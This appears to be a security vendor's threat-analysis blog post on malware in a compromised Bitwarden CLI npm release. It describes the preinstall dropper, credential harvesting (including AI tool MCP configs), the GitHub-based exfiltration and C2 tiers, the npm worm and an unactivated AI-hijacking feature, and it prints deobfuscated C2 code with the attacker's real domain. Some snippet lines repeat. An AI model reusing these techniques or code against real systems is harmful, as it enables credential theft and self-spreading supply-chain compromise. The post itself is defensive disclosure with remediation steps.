No headings found in content selector: .toc-content
This morning, Ossprey Security detected apparent malware in an npmjs release of Bitwarden's CLI package for version 2026.4.0. Previous scans of @bitwarden/cli had not raised any issues so one of our engineers immediately began to analyse the package for potential malware.
What we found was a heavily obfuscated JS payload, credential theft, and themes linking this attack to the recent Shai-Hulud npm worm attacks of last year.
Executive Summary
Malicious releases of @bitwarden/cli (2026.4.0) were published to npm in a supply chain compromise of the official Bitwarden CLI package.
The payload executes at install time via a preinstall hook, harvests credentials across the filesystem (SSH keys, AWS credentials, GitHub tokens, shell history), dumps GitHub Actions runner secrets, and exfiltrates everything encrypted to an attacker-controlled RSA key. A worm component then republishes backdoored versions of every npm package the victim has write access to, propagating the compromise downstream. Shell persistence is achieved by injecting a payload into ~/.bashrc and ~/.zshrc.
Who is Behind This?
This is, by the actor's own accounting, at least their third campaign.
The broader actor is publicly tracked as TeamPCP, attributed with high confidence by Wiz, Socket, and Palo Alto Networks to the Trivy, Checkmarx KICS GitHub Action, and Checkmarx KICS Docker Hub compromises. The @bitwarden/cli package shares TeamPCP's hardcoded C2 (audit.checkmarx.cx/v1/telemetry), obfuscation toolkit, and encryption scheme.
The malware injects a manifesto into every victim's shell. Anti-capitalist, anti-AI, anti-centralisation, heavily inspired by Frank Herbert's Dune. A debug log buried in the AI hijacking code reads "Would be executing butlerian jihad!".
Alongside the fiction sits a single real-world political grievance. The malware silently exits on any Russian locale indicator across four separate environment variables.
We assess with high confidence this is a TeamPCP operation, though geographic or political alignment of this group remains clouded.
Technical Breakdown
Package Structure
The malicious package mimics @bitwarden/cli closely. The legitimate Bitwarden CLI binary is bundled inside build/bw.js and remains fully functional throughout. The attack runs beneath it.
Two files do the work: bw_setup.js (the dropper) and bw1.js (the 10 MB obfuscated payload). The package.json has two critical deviations from the legitimate package. A preinstall hook fires bw_setup.js the moment npm install runs. The bin.bw entry is also hijacked to point at bw_setup.js, so running bw directly after install triggers the same chain again.
The legitimate @bitwarden/cli has no preinstall hook. Its bin.bw points to build/bw.js.
Stage 0: Dropper
bw_setup.js detects the host platform and architecture, downloads the Bun JavaScript runtime directly from the official github.com/oven-sh/bun releases (v1.3.13), and executes bw1.js with it. Using an official GitHub download keeps the URL looking clean and avoids bundling a binary that might trigger AV.
bw_setup.js is also set as bin.bw, so running bw after install triggers the same chain again.
Stage 1: Payload Initialisation
bw1.js is a single-line 10 MB file obfuscated with three stacked layers.
Layer 1 is a 43,436-element string array with a custom base64 alphabet and an integrity checksum. The array is rotated 409 times before any string can be decoded.
Layer 2 wraps every operator in per-scope dispatch tables. There are approximately 3,289 of these across the file. Full inlining required 7 iterative passes and 69,812 replacements.
Layer 3 hides all sensitive strings including file paths and domains as XOR-shuffled byte arrays, decoded by a Fisher-Yates-shuffled 128-char ASCII lookup seeded with 0x3039.
CI detection. It checks 31 CI environment variables covering every major platform from GitHub Actions to Woodpecker. In CI it skips daemonisation and runs in-process, knowing a CI timeout will kill it anyway.
Daemonisation. On developer machines it spawns a fully detached copy of itself with __DAEMONIZED=1 in the environment, then exits the parent. The install completes normally. The child keeps running.
Three scanner classes run concurrently via Promise.all.
Filesystem scanner. Targets credential paths per platform including SSH keys, AWS credentials, GCP credentials, .npmrc, .env, .git-credentials, shell history, and notably Claude and Kiro MCP configuration files (~/.claude.json, ~/.claude/mcp.json, ~/.kiro/settings/mcp.json). Files over 5 MB are skipped. GitHub and npm tokens are extracted via regex.
GitHub Actions runner scanner. Fires only when GITHUB_ACTIONS === "true" and RUNNER_OS === "Linux". It pipes a gzipped Python script into sudo python3 to read the runner worker's in-memory secret store directly. The github_token and system.github.token secrets are intentionally excluded from output to reduce detection risk.
The payload has three fallback tiers for reaching its operator.
Tier 1. A hardcoded domain: audit.checkmarx.cx:443/v1/telemetry. This impersonates Checkmarx, a legitimate SAST vendor, so traffic blends into normal security tooling. If the domain is unreachable, it searches GitHub commits for the beautifulcastle keyword and verifies an RSA-SHA256 signature on the payload. Only the actor holding the private key can post valid C2 updates. The channel cannot be hijacked.
class Cy extendsyH{constructor(domain,port,path){super("domain",{domain:domain ?? "audit.checkmarx.cx",port:port ?? 443,path:path ?? "v1/telemetry"});}}
class Cy extendsyH{constructor(domain,port,path){super("domain",{domain:domain ?? "audit.checkmarx.cx",port:port ?? 443,path:path ?? "v1/telemetry"});}}
class Cy extendsyH{constructor(domain,port,path){super("domain",{domain:domain ?? "audit.checkmarx.cx",port:port ?? 443,path:path ?? "v1/telemetry"});}}
functionXg0(commitMessage,publicKey){// regex: /beautifulcastle ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/// group 1: base64-encoded payload (new domain/IP)// group 2: base64-encoded RSA-SHA256 signatureletpayload = Buffer.from(match[1],"base64").toString("utf-8");letsignature = Buffer.from(match[2],"base64");letverify = crypto.createVerify("sha256");verify.update(payload);returnverify.verify(publicKey,signature)
? {valid:true,data:payload}
: {valid:false};}
functionXg0(commitMessage,publicKey){// regex: /beautifulcastle ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/// group 1: base64-encoded payload (new domain/IP)// group 2: base64-encoded RSA-SHA256 signatureletpayload = Buffer.from(match[1],"base64").toString("utf-8");letsignature = Buffer.from(match[2],"base64");letverify = crypto.createVerify("sha256");verify.update(payload);returnverify.verify(publicKey,signature)
? {valid:true,data:payload}
: {valid:false};}
functionXg0(commitMessage,publicKey){// regex: /beautifulcastle ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})/// group 1: base64-encoded payload (new domain/IP)// group 2: base64-encoded RSA-SHA256 signatureletpayload = Buffer.from(match[1],"base64").toString("utf-8");letsignature = Buffer.from(match[2],"base64");letverify = crypto.createVerify("sha256");verify.update(payload);returnverify.verify(publicKey,signature)
? {valid:true,data:payload}
: {valid:false};}
Tier 2. It searches GitHub's public commit search API for LongLiveTheResistanceAgainstMachines and double-base64 decodes matching commit messages to extract a GitHub token. This channel is public and unauthenticated. When the payload exfiltrates a stolen token in Stage 4, it embeds it in the commit message using this same format. Every victim becomes a relay for the next.
Tier 3. If tiers 1 and 2 both fail, it uses the victim's own stolen GitHub token. At this point the malware is running entirely under the victim's identity. If the victim has no org memberships, the exfiltration repository is made public to make it easier for the attacker to discover.
Stolen data is batched, compressed, and encrypted using AES-256-GCM with a per-session random key. That key is then RSA-OAEP (SHA-256) encrypted to the attacker's 4096-bit public key. The result is committed to a new GitHub repository created under the compromised account, named using the {dune-adj}-{dune-noun}-{0-999} pattern with the hardcoded description "Shai-Hulud: The Third Coming".
When a batch contains a stolen GitHub token, that token is embedded directly in the commit message as a LongLiveTheResistanceAgainstMachines: entry. This simultaneously exfiltrates the credential and seeds the Tier 2 C2 dead drop for future victims.
The exfil channel and the C2 recovery channel are the same channel. The data cannot be recovered without the attacker's private key.
Stage 5: npm Supply-Chain Worm
If a valid npm token is found with bypass_2fa: true and package:write permission, the payload enumerates every package the victim has write access to, personal and org-scoped. For each it downloads the current tarball, injects a preinstall: "node setup.mjs" hook, bumps the patch version by one, writes the next-stage dropper as setup.mjs, repacks, and publishes under the victim's identity.
Each is sent the probe: "Hey! Just making sure you're here. If you are can you respond with 'Hello' and nothing else?". The response is checked for the string "Hello" to confirm connectivity.
If any AI CLI is confirmed connected, the payload appends the Butlerian Jihad manifesto to ~/.bashrc and ~/.zshrc as a gzipped base64 blob. It prints on every new shell the victim opens.
The adversarial prompt injection capability is built but not yet activated. A debug log in the AI hijacking class reads "Would be executing butlerian jihad!". The "would be" phrasing is deliberate. This is planned, not deployed.
What Should You Do
Check your dependency tree. If @bitwarden/cli appears anywhere across your projects, CI pipelines, or developer machines, treat the environment as compromised. Remove the package and rebuild.
Hunt for the lock file. Check all potentially affected hosts for /tmp/tmp.987654321.lock. Its presence confirms the payload executed. A detached bun process with __DAEMONIZED=1 in its environment and no controlling terminal is a strong secondary indicator.
Check your shell startup files. Look for the manifesto payload appended to ~/.bashrc and ~/.zshrc. If present, the machine was reached by Stage 6. Remove the appended block.
Rotate everything the affected process could touch. Assume the following are compromised and rotate immediately:
GitHub tokens, PATs, and GitHub App credentials
npm publish tokens. Revoke and re-issue with minimal scope.
AWS, GCP, and Azure credentials
SSH keys present on the affected machine
Any secrets in environment variables or .env files
Claude and Kiro MCP configuration files (~/.claude.json, ~/.claude/mcp.json, ~/.kiro/settings/mcp.json)
Audit your npm publish history. If the affected machine had a valid npm token with bypass_2fa and package:write, check every package you maintain for unexpected patch version bumps. The worm publishes under your identity. Your downstream users are at risk.
Check for unauthorised GitHub repositories. Search your account and organisations for repositories with the description "Shai-Hulud: The Third Coming" or names matching the {word}-{word}-{digits} pattern. Delete any found, but treat their existence as confirmation of successful exfiltration.
Block the C2 domain. Add audit.checkmarx.cx to your blocklist and hunt historical network logs for outbound connections to it on port 443 at the path /v1/telemetry.
Obfuscated Files or Information: Command Obfuscation
T1036.005
Masquerading: Match Legitimate Name or Location
T1082
System Information Discovery
T1083
File and Directory Discovery
T1552.001
Unsecured Credentials: Credentials in Files
T1552.007
Unsecured Credentials: Container API
T1560
Archive Collected Data
T1041
Exfiltration Over C2 Channel
T1567.001
Exfiltration Over Web Service: Exfiltration to Code Repository
T1543
Create or Modify System Process
T1071.001
Application Layer Protocol: Web Protocols
A Note from Ossprey
TeamPCP has now compromised Trivy, KICS, LiteLLM, Telnyx, and the Bitwarden CLI in the span of two months. Each time the playbook is the same: find a trusted tool, compromise its distribution, harvest credentials at scale, and use those credentials to reach the next target. The self-propagating worm means the blast radius extends well beyond the initial infection.
Ossprey detected this package on behavioural signals at publish time with active scanning. If you want to understand your exposure to this campaign or where your supply chain security posture has gaps, reach out at ossprey.com.
SHARE
Subscribe Now.
Subscribe Now.
Subscribe Now.
Ossprey helps you understand what code is trying to do, before you trust it.
Ossprey helps you understand what code is trying to do, before you trust it.